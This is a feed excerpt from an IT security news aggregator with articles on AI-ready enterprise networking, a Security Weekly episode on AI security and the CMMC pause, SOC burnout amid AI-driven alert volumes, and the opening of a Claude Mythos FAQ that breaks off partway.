<p class="wp-block-paragraph">Security is another non-negotiable element. Agentic AI expands the enterprise attack surface because AI agents increasingly access sensitive systems, interact with APIs, consume proprietary data and execute actions across business environments. Future-ready networks must embed zero trust security into their architecture, with continuous identity verification, fine-grained access controls, microsegmentation, policy-driven authorization and continuous risk assessment. Security can no longer be bolted onto the network; it must be integral to its design and AI agents need to adhere to their own identity rules.</p>



<p class="wp-block-paragraph">Finally, distributed intelligence across edge and cloud environments is essential. Many AI use cases require decisions to occur close to the source of data. Manufacturing systems, healthcare environments, retail operations, transportation networks and smart facilities often cannot tolerate the latency associated with centralized processing. Future networks must support edge AI deployment, distributed processing architectures, local inference, hybrid cloud operations and intelligent workload placement. The ability to move intelligence closer to users, devices and operational environments will become increasingly important as agentic AI expands across the enterprise.</p>



<h2 class="wp-block-heading">Human expertise remains essential</h2>



<p class="wp-block-paragraph">Despite rapid advances in AI, the future will not eliminate the need for human expertise. In fact, it may increase its importance. One of the most significant misconceptions surrounding AI is that automation eliminates the need for skilled professionals. The reality is that autonomous systems require expert oversight, governance, validation and continuous optimization.</p>



<p class="wp-block-paragraph">As AI systems become more capable, enterprises will need professionals who understand network architecture, security policy, AI governance, operational risk management, data quality, regulatory compliance and human-in-the-loop decision frameworks. The challenge is compounded by the unprecedented pace of AI innovation. New models, architectures, orchestration frameworks, security concerns and governance requirements emerge almost monthly. Most enterprise IT teams cannot be expected to independently evaluate every development while simultaneously modernizing infrastructure and maintaining day-to-day operations.</p>



<p class="wp-block-paragraph">Organizations need access to experts who continuously track technology evolution, understand emerging best practices and can help translate innovation into practical deployment strategies. These experts provide not only implementation support but also ongoing operational guidance, helping enterprises maintain appropriate human oversight as AI capabilities expand. The future is not fully autonomous decision-making without people; it is intelligent automation operating under expert human governance.</p>



<h2 class="wp-block-heading">5 actions enterprises should take now</h2>



<p class="wp-block-paragraph">Organizations should be preparing for the autonomous future right now. The following investments deliver immediate value while laying the groundwork for long-term AI transformation:</p>



<ol start="1" class="wp-block-list">
<li><strong>Modernize network observability.</strong> Establish <a href="https://www.ibm.com/think/insights/ai-agent-observability">comprehensive visibility</a> across users, applications, devices, clouds and infrastructure. Rich telemetry and operational data will become the fuel that powers both Agentic AI and autonomous network operations.</li>



<li><strong>Build an automation-first operating model.</strong> Identify repetitive operational processes and begin automating them. Automation maturity is a prerequisite for autonomous networking and creates the operational foundation AI agents will eventually leverage.</li>



<li><strong>Adopt zero-trust principles across the enterprise.</strong> Implement identity-centric security controls, segmentation and continuous policy enforcement. As AI agents gain access to enterprise systems, <a href="https://www.forrester.com/zero-trust/">security architectures</a> must evolve to leverage the same identity controls.</li>



<li><strong>Design for edge-to-cloud AI workloads.</strong> Evaluate network architectures for latency, bandwidth and resiliency requirements associated with distributed AI. Future AI deployments will span data centers, public clouds, branch locations and edge environments.</li>



<li><strong>Invest in skills and strategic partnerships.</strong> Develop <a href="https://mitsloan.mit.edu/ideas-made-to-matter/artificial-intelligence-pays-when-businesses-go-all">internal expertise</a> while leveraging partners that possess deep networking, automation, security and AI knowledge. Human expertise remains one of the most important success factors in building AI-ready and autonomous infrastructures.</li>
</ol>



<h2 class="wp-block-heading">The road ahead</h2>



<p class="wp-block-paragraph">Agentic AI is poised to transform enterprise operations in much the same way cloud computing transformed infrastructure and the internet transformed business itself. But AI agents cannot operate effectively without a modern network foundation. The enterprises that succeed will recognize that AI readiness extends beyond models and data. It requires networks that are observable, automated, secure, intelligent and increasingly autonomous. The investments made today in AI-ready networking are not merely infrastructure upgrades — they are strategic building blocks toward the autonomous enterprise of the future, where AI agents and autonomous networks work together under human guidance to deliver unprecedented levels of agility, efficiency, and innovation.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Security at Scale, CMMC phase II paused, and the Weekly Enterprise News - Keith Hollender - ESW #468]]></title>
<description><![CDATA[Interview with Keith Hollender, CEO and Co-Founder of Arcova Why AI Security Is Becoming an Execution Problem, Not Just a Governance Problem As enterprises move from AI experimentation to adoption at scale, security leaders are under pressure to enable innovation without introducing unmanaged ris...]]></description>
<link>https://tsecurity.de/de/3680728/it-security-nachrichten/ai-security-at-scale-cmmc-phase-ii-paused-and-the-weekly-enterprise-news-keith-hollender-esw-468/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680728/it-security-nachrichten/ai-security-at-scale-cmmc-phase-ii-paused-and-the-weekly-enterprise-news-keith-hollender-esw-468/</guid>
<pubDate>Mon, 20 Jul 2026 11:37:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Interview with Keith Hollender, CEO and Co-Founder of Arcova</h3> <p><strong>Why AI Security Is Becoming an Execution Problem, Not Just a Governance Problem</strong></p> <p>As enterprises move from AI experimentation to adoption at scale, security leaders are under pressure to enable innovation without introducing unmanaged risk. The challenge is no longer whether organizations should pursue AI, but how they can govern it, secure it, and operationalize it in ways that stand up to real-world business and threat conditions.</p> <p>In this conversation, Keith Hollender discusses what Arcova is seeing across enterprise environments as organizations work to connect cybersecurity, AI governance, resilience, and broader transformation priorities. He explores where companies are getting stuck, why traditional siloed approaches are falling short, and what it takes to move from strategy decks to secure execution.</p> <p>Keith also shares how Arcova's practitioner-led, relationship-driven model helps organizations turn complexity into clarity by embedding with client teams, solving urgent problems hands-on, and building capabilities designed to last. The conversation also covers Arcova's continued growth, including expansion into the Middle East, and what global demand signals reveal about the next phase of cybersecurity and AI consulting.</p> <p><strong>Segment Resources:</strong></p> <ul> <li><a rel="noopener" target="_blank" href="https://arcova.com/sectors/">https://arcova.com/sectors/</a></li> <li><a rel="noopener" target="_blank" href="https://arcova.com/category/blog/">https://arcova.com/category/blog/</a></li> </ul> <p>For more information about Arcova and how they can help your enterprise shape what's next, please visit:</p> <p><a rel="noopener" target="_blank" href="https://securityweekly.com/arcova">https://securityweekly.com/arcova</a></p> <h3>Topic: CMMC Pause creating chaos among federal contractors</h3> <p>This one sent some shockwaves through the CMMC community, particularly the hundreds or thousands of folks gearing up to assist with the validation that phase 2 aimed to provide. The TL;DR - defense contractors have been required to comply with CMMC controls for years, but self-attestation means that many probably haven't been meeting the requirements. Perhaps, rather than have tons of defense contractors fail the test, they just suspended the requirement for the test itself.</p> <p>I think Howard Holton nails it here when he says:</p> <p>"100,000 defense contractors needed third-party assessments. Roughly 100 authorized assessors exist. That's 1,000 assessments each, with the deadline in November."</p> <p>PCI already created a model that works for a scenario like this. If you're small, you self-assess. If you're big enough, an independent auditor comes to check you out once a year. I'm sure they were probably aware of this and chose not to go down that path for some reasons. I'm not aware of those reasons.</p> <p>What this means:</p> <ul> <li>Phase II is paused</li> <li>Phase I self-assessments still in place (note, however, that phase II existed, because self-attestation didn't work)</li> <li>NIST SP 800-171 Rev 2 and DFARS 252.204-7012 compliance still required</li> <li>60-day review aims to reform CMMC</li> <li>DoW opened an RFI for industry perspectives on what they should do</li> <li>CMMC characterized as a "compliance burden" and "red tape"</li> <li>False Claims Act and DOJ's cyber-fraud enforcement are still on the table</li> </ul> <p>More resources:</p> <ul> <li>CIO Davies' post on Twitter</li> <li>Administrator of the Small Business Administration, Kelly Loeffler's post</li> <li>A useful LinkedIn post that breaks down a lot of what this really means (and doesn't)</li> </ul> <h3>Weekly Enterprise News</h3> <p>Finally, in the enterprise security news,</p> <ol> <li>will AI eliminate more cybersecurity jobs than it creates?</li> <li>Linus's law, amended</li> <li>the biggest patch Tuesday ever</li> <li>AI context bombs</li> <li>AI workflows are a security disaster</li> <li>people using AI in areas they don't understand</li> <li>ransomware crews are hitting legal firms hard</li> <li>lessons learned from CISA's recent github leak</li> <li>demystify your USB cables!</li> </ol> <p>All that and more, on this episode of Enterprise Security Weekly.</p> <p>Visit <a rel="noopener" target="_blank" href="https://www.securityweekly.com/esw">https://www.securityweekly.com/esw</a> for all the latest episodes!</p> <p>Show Notes: <a rel="noopener" target="_blank" href="https://securityweekly.com/esw-468">https://securityweekly.com/esw-468</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Security at Scale, CMMC phase II paused, and the Weekly Enterprise News - ESW #468]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:0 Interview with Keith Hollender, CEO and Co-Founder of Arcova

Why AI Security Is Becoming an Execution Problem, Not Just a Governance Problem

As enterprises move from AI experimentation to adoption at scale, security leaders ...]]></description>
<link>https://tsecurity.de/de/3680666/it-security-video/ai-security-at-scale-cmmc-phase-ii-paused-and-the-weekly-enterprise-news-esw-468/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680666/it-security-video/ai-security-at-scale-cmmc-phase-ii-paused-and-the-weekly-enterprise-news-esw-468/</guid>
<pubDate>Mon, 20 Jul 2026 11:03:55 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:0 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/SwBWFeUzACI?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Interview with Keith Hollender, CEO and Co-Founder of Arcova<br />
<br />
Why AI Security Is Becoming an Execution Problem, Not Just a Governance Problem<br />
<br />
As enterprises move from AI experimentation to adoption at scale, security leaders are under pressure to enable innovation without introducing unmanaged risk. The challenge is no longer whether organizations should pursue AI, but how they can govern it, secure it, and operationalize it in ways that stand up to real-world business and threat conditions.<br />
<br />
In this conversation, Keith Hollender discusses what Arcova is seeing across enterprise environments as organizations work to connect cybersecurity, AI governance, resilience, and broader transformation priorities. He explores where companies are getting stuck, why traditional siloed approaches are falling short, and what it takes to move from strategy decks to secure execution.<br />
<br />
Keith also shares how Arcova’s practitioner-led, relationship-driven model helps organizations turn complexity into clarity by embedding with client teams, solving urgent problems hands-on, and building capabilities designed to last. The conversation also covers Arcova’s continued growth, including expansion into the Middle East, and what global demand signals reveal about the next phase of cybersecurity and AI consulting.<br />
<br />
Segment Resources:<br />
- https://arcova.com/sectors/  <br />
- https://arcova.com/category/blog/<br />
<br />
For more information about Arcova and how they can help your enterprise shape what's next, please visit: https://securityweekly.com/arcova<br />
<br />
Topic: CMMC Pause creating chaos among federal contractors<br />
<br />
This one sent some shockwaves through the CMMC community, particularly the hundreds or thousands of folks gearing up to assist with the validation that phase 2 aimed to provide.<br />
The TL;DR - defense contractors have been required to comply with CMMC controls for years, but self-attestation means that many probably haven't been meeting the requirements. Perhaps, rather than have tons of defense contractors fail the test, they just suspended the requirement for the test itself.<br />
<br />
I think Howard Holton nails it here when he says:<br />
<br />
"100,000 defense contractors needed third-party assessments. Roughly 100 authorized assessors exist. That's 1,000 assessments each, with the deadline in November."<br />
<br />
PCI already created a model that works for a scenario like this. If you're small, you self-assess. If you're big enough, an independent auditor comes to check you out once a year. I'm sure they were probably aware of this and chose not to go down that path for some reasons. I'm not aware of those reasons.<br />
<br />
What this means:<br />
<br />
- Phase II is paused<br />
- Phase I self-assessments still in place (note, however, that phase II existed, because self-attestation didn't work)<br />
- NIST SP 800-171 Rev 2 and DFARS 252.204-7012 compliance still required<br />
- 60-day review aims to reform CMMC<br />
- DoW opened an RFI for industry perspectives on what they should do<br />
- CMMC characterized as a "compliance burden" and "red tape"<br />
- False Claims Act and DOJ's cyber-fraud enforcement are still on the table<br />
<br />
More resources:<br />
<br />
- CIO Davies' post on Twitter<br />
- Administrator of the Small Business Administration, Kelly Loeffler's post<br />
- A useful LinkedIn post that breaks down a lot of what this really means (and doesn't)<br />
<br />
Weekly Enterprise News<br />
<br />
Finally, in the enterprise security news, <br />
<br />
1. will AI eliminate more cybersecurity jobs than it creates?<br />
2. Linus’s law, amended<br />
3. the biggest patch Tuesday ever<br />
4. AI context bombs<br />
5. AI workflows are a security disaster<br />
6. people using AI in areas they don’t understand<br />
7. ransomware crews are hitting legal firms hard<br />
8. lessons learned from CISA’s recent github leak<br />
9. demystify your USB cables!<br />
<br />
All that and more, on this episode of Enterprise Security Weekly.<br />
<br />
Visit https://www.securityweekly.com/esw for all the latest episodes!<br />
<br />
Show Notes: https://securityweekly.com/esw-468<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[SOCs face a human challenge as AI speeds alerts and threats]]></title>
<description><![CDATA[Security operations centers (SOCs) have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that mus...]]></description>
<link>https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</guid>
<pubDate>Mon, 20 Jul 2026 09:08:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/3840447/security-operations-centers-are-fundamental-to-cybersecurity-heres-how-to-build-one.html">Security operations centers (SOCs)</a> have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that must itself be evaluated.</p>



<p class="wp-block-paragraph">“There is an asymmetry here because you now have to parse through a lot of AI slop to get to, ‘Okay, is this real or not?’” <a href="https://www.linkedin.com/in/fsmontenegro/">Fernando Montenegro</a>, vice president and practice lead at The Futurum Group, tells CSO.</p>



<p class="wp-block-paragraph">His observation captures a growing concern among security leaders. AI is helping attackers and defenders move faster, but it is also creating <a href="https://www.cio.com/article/4077448/ai-workslop-the-new-productivity-killer-only-training-can-stop.html">new forms of cognitive burden</a> for the humans tasked with separating signal from noise.</p>



<p class="wp-block-paragraph">As <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">AI accelerates vulnerability discovery</a> and enables more automated reconnaissance and exploitation, defenders are increasingly responsible for overseeing systems whose outputs can be difficult to interpret or verify. The challenge is not simply more work. It is that the volume, speed, and complexity of that work are increasing simultaneously.</p>



<p class="wp-block-paragraph">Yet experts who study and advise SOCs reject the idea that collapse is inevitable. Instead, they describe an industry entering a difficult transition that could reshape how security teams operate and how humans and machines share responsibility for defense.</p>



<h2 class="wp-block-heading">The vulnerability surge is exposing years of security debt</h2>



<p class="wp-block-paragraph">One of the most immediate concerns is the possibility that <a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">AI dramatically increases the number of vulnerabilities</a> organizations must identify and remediate.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/christopher-crowley-1200339/">Chris Crowley</a>, a longtime cybersecurity instructor and SOC expert, argues that organizations are facing the <a href="https://www.csoonline.com/article/570851/7-ways-technical-debt-increases-security-risk.html">consequences of years of accumulated technology debt</a>.</p>



<p class="wp-block-paragraph">“A lot of what we’re going to have to account for in the next couple of years is a technology debt of vulnerable software that has been deployed because it’s good enough to solve the problem, but then there are all these latent cyber issues, flaws, vulnerabilities that weren’t discovered prior to deployment,” he tells CSO.</p>



<p class="wp-block-paragraph">AI-assisted vulnerability discovery has the potential to expose those weaknesses at a pace defenders have never experienced before.</p>



<p class="wp-block-paragraph">“The compression of work that is being dropped on us is unprecedented,” Crowley says. “We’ve just been ignoring it for decades.”</p>



<p class="wp-block-paragraph">He does not believe AI will necessarily create entirely new classes of vulnerabilities. Instead, he expects defenders to confront much larger volumes of familiar problems.</p>



<p class="wp-block-paragraph">“We’re going to have 100 of these simultaneously,” he says, referring to the kinds of high-priority vulnerabilities security teams traditionally handle one at a time.</p>



<p class="wp-block-paragraph">The AI challenge for many SOCs may be less a novelty problem than a volume problem. Security teams already know how to patch systems, prioritize remediation, and respond to critical exposures. What changes is the scale and speed at which those demands arrive.</p>



<p class="wp-block-paragraph">Organizations with mature patching, prioritization, escalation, and response processes may struggle but adapt. Organizations that have treated security operations as a bare-minimum compliance function may find themselves overwhelmed.</p>



<p class="wp-block-paragraph">For CISOs, Crowley says, that means treating “patch now” less as an occasional emergency state and <a href="https://www.csoonline.com/article/4196435/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management.html">more as a permanent operating posture</a>. As AI accelerates vulnerability discovery, the distinction between routine maintenance and crisis response may continue to blur.</p>



<p class="wp-block-paragraph">He compares the situation to disaster recovery planning. Organizations that wait until a crisis arrives to establish staffing plans, escalation paths, and remediation processes may discover there is not enough help available.</p>



<h2 class="wp-block-heading">Cognitive overload may become the defining challenge</h2>



<p class="wp-block-paragraph">While vulnerability discovery receives much of the attention, Montenegro believes security leaders need a broader framework for understanding AI’s impact.</p>



<p class="wp-block-paragraph">Organizations should think about AI through three lenses, he says: security for AI, AI for security, and security from AI. The first involves protecting AI systems. The second involves using AI to improve defensive operations. The third asks what happens when adversaries use AI against the organization.</p>



<p class="wp-block-paragraph">For SOCs, all three categories are beginning to overlap.</p>



<p class="wp-block-paragraph">As AI makes it easier to create reports, assessments, vulnerability submissions, and other operational artifacts, humans remain responsible for determining whether that information is accurate and useful.</p>



<p class="wp-block-paragraph">“It becomes much easier to generate content,” Montenegro says, “but if you’re going to review that content as a human, the onus on you now is that much larger.”</p>



<p class="wp-block-paragraph">The result is a new form of cognitive overload. Security professionals may spend increasing amounts of time evaluating machine-generated information instead of conducting higher-value security work.</p>



<p class="wp-block-paragraph">Organizations can increasingly use AI to summarize reports, evaluate alerts, and assist with investigations, but humans remain responsible for validating the results.</p>



<p class="wp-block-paragraph">“We’re not at the stage yet where people are comfortable” handing off critical decisions entirely to AI, he says.</p>



<p class="wp-block-paragraph">That leaves defenders caught between two competing realities: AI is creating more information to process, but AI is also becoming one of the few viable tools for managing that growing workload.</p>



<p class="wp-block-paragraph">For Montenegro, the principle should be to automate tasks, not roles. AI can absorb repetitive investigative steps, but organizations should be cautious about removing humans from the process entirely.</p>



<p class="wp-block-paragraph">The risk, he says, is that if organizations hide too much complexity behind automated outputs, analysts may lose opportunities to develop the domain knowledge needed to advance.</p>



<p class="wp-block-paragraph">“How is that professional who is reacting to those alerts growing as a professional?” he says.</p>



<h2 class="wp-block-heading">The gap between mature and struggling SOCs may widen</h2>



<p class="wp-block-paragraph">Not every organization will experience the impact of AI in the same way.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/johnlhubbard/">John Hubbard</a>, senior cybersecurity consultant and SANS instructor, believes the industry’s response will largely depend on how well organizations have prepared for operational stress before AI arrives at scale.</p>



<p class="wp-block-paragraph">“I would roughly break security operations teams into two camps,” Hubbard tells CSO. “There are the ones that are definitely struggling, are already overwhelmed. And then some are doing really well.”</p>



<p class="wp-block-paragraph">The struggling organizations tend to be understaffed, underfunded, undertrained, or dependent on ad hoc processes. Every incident feels different, forcing teams to improvise under pressure.</p>



<p class="wp-block-paragraph">“Getting hit with something like this can certainly be an accelerant for burnout if they weren’t already experiencing it,” Hubbard says.</p>



<p class="wp-block-paragraph">By contrast, mature security teams have already invested in processes, training, exercises, and automation. “The teams that are doing a really solid job now are probably not super overwhelmed because they’ve developed the processes and procedures to be ready for this kind of thing,” Hubbard says.</p>



<p class="wp-block-paragraph">He compares successful SOCs to fire departments. Firefighters cannot predict exactly where the next emergency will occur, but they know how to respond because they have rehearsed those responses repeatedly.</p>



<p class="wp-block-paragraph">“The teams that kind of can react like a fire department are the ones that are getting it right,” he says.</p>



<p class="wp-block-paragraph">Those organizations <a href="https://www.csoonline.com/article/570871/tabletop-exercises-explained-definition-examples-and-objectives.html">conduct tabletop exercises</a>, adversary emulation exercises, <a href="https://www.csoonline.com/article/571891/red-vs-blue-vs-purple-teams-how-to-run-an-effective-exercise.html">red-team assessments</a>, and <a href="https://www.csoonline.com/article/3829684/how-to-create-an-effective-incident-response-plan.html">incident response</a> drills. As a result, they can absorb additional workload without descending into panic.</p>



<h2 class="wp-block-heading">Burnout remains the industry’s most difficult problem</h2>



<p class="wp-block-paragraph">Despite widespread concern about AI-enabled attacks, none of the experts view AI solely as a threat. Several argue that AI will become essential for helping defenders cope with the challenges it creates.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/jose-marie-griffiths-9106b7b/">Jose-Marie Griffiths</a>, president emerita and former CIO of Dakota State University, believes AI can help security teams sift through overwhelming volumes of information and identify the signals that matter most.</p>



<p class="wp-block-paragraph">“People who work in SOCs are now seeing overwhelming volumes of data, and they’re getting fatigued,” Griffiths tells CSO.</p>



<p class="wp-block-paragraph">AI can help automate portions of analysis, validate alerts, and improve visibility into complex environments. But Griffiths cautions that some AI-assisted vulnerability discovery tools are also producing large numbers of false positives.</p>



<p class="wp-block-paragraph">That matters because false positives do not eliminate work. They create it. As organizations confront escalating volumes of findings, distinguishing genuine risk from erroneous results may become as important as discovering vulnerabilities in the first place.</p>



<p class="wp-block-paragraph">The experts agree that technology alone will not determine outcomes. People will.</p>



<p class="wp-block-paragraph">Crowley argues that cybersecurity professionals must recognize that uncertainty is intrinsic to the profession. “We are the group that deals with uncertainty,” he says. “That’s really and truly what cybersecurity is.”</p>



<p class="wp-block-paragraph">That reality places responsibility on both individuals and organizations. Analysts need mechanisms for managing stress. Teams need to recognize when colleagues are approaching their limits. Managers need to <a href="https://www.csoonline.com/article/3631614/cybersecurity-is-tough-4-steps-leaders-can-take-now-to-reduce-team-burnout.html">establish healthy escalation practices and realistic expectations</a>.</p>



<p class="wp-block-paragraph">Hubbard rejects the notion that burnout is inevitable.</p>



<p class="wp-block-paragraph">“It is not a foregone conclusion that security operations jobs have to be a painful grind that everyone hates,” he says.</p>



<p class="wp-block-paragraph">He has seen organizations where employees remain engaged for years because leaders actively manage workload, create supportive cultures, and encourage open communication.</p>



<p class="wp-block-paragraph">That includes making it safe for analysts to admit when they have reached their limits. “If people are unwilling to say, ‘I’m maxed out right now, and I’m going crazy,’ that’s going to be the thing that breaks a lot of teams,” Hubbard says.</p>



<p class="wp-block-paragraph">Pay alone may not solve the problem. Crowley pointed to SANS/SOC <a href="https://www.sans.org/white-papers/2026-sans-soc-survey-insights-decade-evolution-cyber-defense">survey findings</a> showing that compensation ranked fourth among retention factors, behind meaningful work, training, and professional development.</p>



<h2 class="wp-block-heading">The future SOC may look very different</h2>



<p class="wp-block-paragraph">Griffiths believes organizations will need to respond not only with better technology but with structural changes. Traditional tiered SOC models may need to evolve into more collaborative teams with diverse expertise working together in real-time.</p>



<p class="wp-block-paragraph">“I think we’re going to have to eliminate the hierarchies a little bit and have teams of people with different expertise working together,” she says.</p>



<p class="wp-block-paragraph">She also argues that organizations should invest in human expertise rather than simply increasing AI consumption. “Buy engineers, not tokens,” she says.</p>



<p class="wp-block-paragraph">Professional networks and peer support will matter as much as any tool, Griffiths says, because defenders need trusted communities where they can compare notes, share practices, and avoid facing sustained pressure in isolation.</p>



<p class="wp-block-paragraph">If there is a consensus emerging among experts, it is that AI is exposing weaknesses that already existed.</p>



<p class="wp-block-paragraph">The staffing shortages, alert fatigue, burnout, and process failures affecting SOCs did not begin with generative AI. AI is simply amplifying them.</p>



<p class="wp-block-paragraph">At the same time, AI is providing new tools that may help organizations manage those very challenges.</p>



<p class="wp-block-paragraph">The future SOC may spend less time manually triaging alerts and more time validating automated findings, conducting threat hunting, and making strategic decisions. Human expertise may increasingly be paired with AI systems that act as operational partners.</p>



<p class="wp-block-paragraph">The transition will not be painless. Some teams will struggle. Some practitioners may leave the field. Others will adapt and thrive.</p>



<p class="wp-block-paragraph">“In a way,” Griffiths says, “we’re turning the whole SOC inside out.”</p>



<p class="wp-block-paragraph">Montenegro sees the transition as a cybersecurity version of the Red Queen effect: defenders and attackers must keep running simply to stay in place.</p>



<p class="wp-block-paragraph">Borrowing from science-fiction author William Gibson, Montenegro offered perhaps the simplest description of the industry’s current moment: “The future is already here. It’s just unevenly distributed.”</p>



<p class="wp-block-paragraph">For security leaders, that future is arriving in the form of AI-generated vulnerabilities, AI-assisted investigations, and AI-enabled adversaries. The question is no longer whether security operations centers will change. It is whether organizations can adapt quickly enough to keep pace.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Claude Mythos FAQ: Capabilities, access, competitors, implications]]></title>
<description><![CDATA[1.
What is Claude Mythos?




Claude Mythos is an advanced AI model developed by Anthropic and is optimized for cybersecurity and healthcare applications.



Mythos 5 was originally released in April to a small group of vetted technology partners ahead of a planned wider rollout.



Anthropic est...]]></description>
<link>https://tsecurity.de/de/3680433/it-security-nachrichten/claude-mythos-faq-capabilities-access-competitors-implications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680433/it-security-nachrichten/claude-mythos-faq-capabilities-access-competitors-implications/</guid>
<pubDate>Mon, 20 Jul 2026 08:38:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="wp-block-idg-base-theme-faq-block faq-block">
<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">1.</span>
<h2 class="wp-block-heading">What is Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Claude Mythos is an advanced AI model developed by Anthropic and is optimized for cybersecurity and healthcare applications.</p>



<p class="wp-block-paragraph"><a href="https://www.anthropic.com/claude/mythos">Mythos 5</a> was originally released in April to a small group of vetted technology partners ahead of a planned wider rollout.</p>



<p class="wp-block-paragraph">Anthropic established <strong>Project Glasswing</strong>, a consortium that gives limited, controlled access to Mythos to infrastructure providers, open-source developers, and major technology companies. The scheme was designed to enable defenders to find and resolve vulnerabilities faster than they could be identified by attackers, <a href="https://www.csoonline.com/article/4154222/6-ways-attackers-abuse-ai-services-to-hack-your-business.html">many of which are also beginning to rely heavily on AI tools</a>.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">2.</span>
<h2 class="wp-block-heading">What are the capabilities of Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">The <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">50 initial partners of Project Glasswing</a> were able to use Mythos to find more than <a href="https://www.csoonline.com/article/4176865/project-glasswing-has-uncovered-10000-vulnerabilities-anthropic.html">10,000 high- or critical-severity vulnerabilities</a> in every major operating system and <a href="https://www.csoonline.com/article/4162259/claude-mythos-signals-a-new-era-in-ai-driven-security-finding-271-flaws-in-firefox.html">every major web browser</a>.</p>



<p class="wp-block-paragraph">The model is identifying security flaws that had evaded even the most capable security researchers for years, such as a <a href="https://www.csoonline.com/article/4159617/behind-the-mythos-hype-glasswing-has-just-one-confirmed-cve.html">27-year-old bug in OpenBSD</a>. It has also proved capable of chaining multiple vulnerabilities together.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">3.</span>
<h2 class="wp-block-heading">How is Anthropic restricting access to Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Anthropic said it was restricting the more widespread availability of the frontier AI model because its capabilities might easily be misused by attackers.</p>



<p class="wp-block-paragraph">In June the technology was released to an <a href="https://www.csoonline.com/article/4180265/anthropic-grants-project-glasswing-access-to-150-more-companies-with-a-focus-on-critical-infrastructure.html">additional 150 organizations</a>. All Mythos partners are required to accept a 30-day data retention policy for safety monitoring.</p>



<p class="wp-block-paragraph">After the availability of Mythos forced the <a href="https://www.csoonline.com/article/4166824/anthropic-mythos-spurs-white-house-to-weigh-pre-release-reviews-for-high-risk-ai-models.html">Trump administration to reconsider its “hands off” approach to AI oversight</a>, the US government applied export controls to Claude Fable 5 and Claude Mythos 5 on June 15. The restrictions — which were supposed to block access to foreign nationals both inside and outside the US — were lifted on June 30.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">4.</span>
<h2 class="wp-block-heading">What is Claude Fable?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">For broader use, Anthropic is offering <a href="https://www.csoonline.com/article/4183094/anthropic-releases-mythos-class-fable-5-model-with-safeguards-for-cyber-risks.html">Claude Fable 5</a>, which is based on the same underlying technology but comes with strict guardrails that limit operations in “risky” cybersecurity domains. Flagged queries are automatically routed to the earlier and less capable Opus 4.8 large language model (LLM) instead.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">5.</span>
<h2 class="wp-block-heading">How are Anthropic’s security vendor partners using access to Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
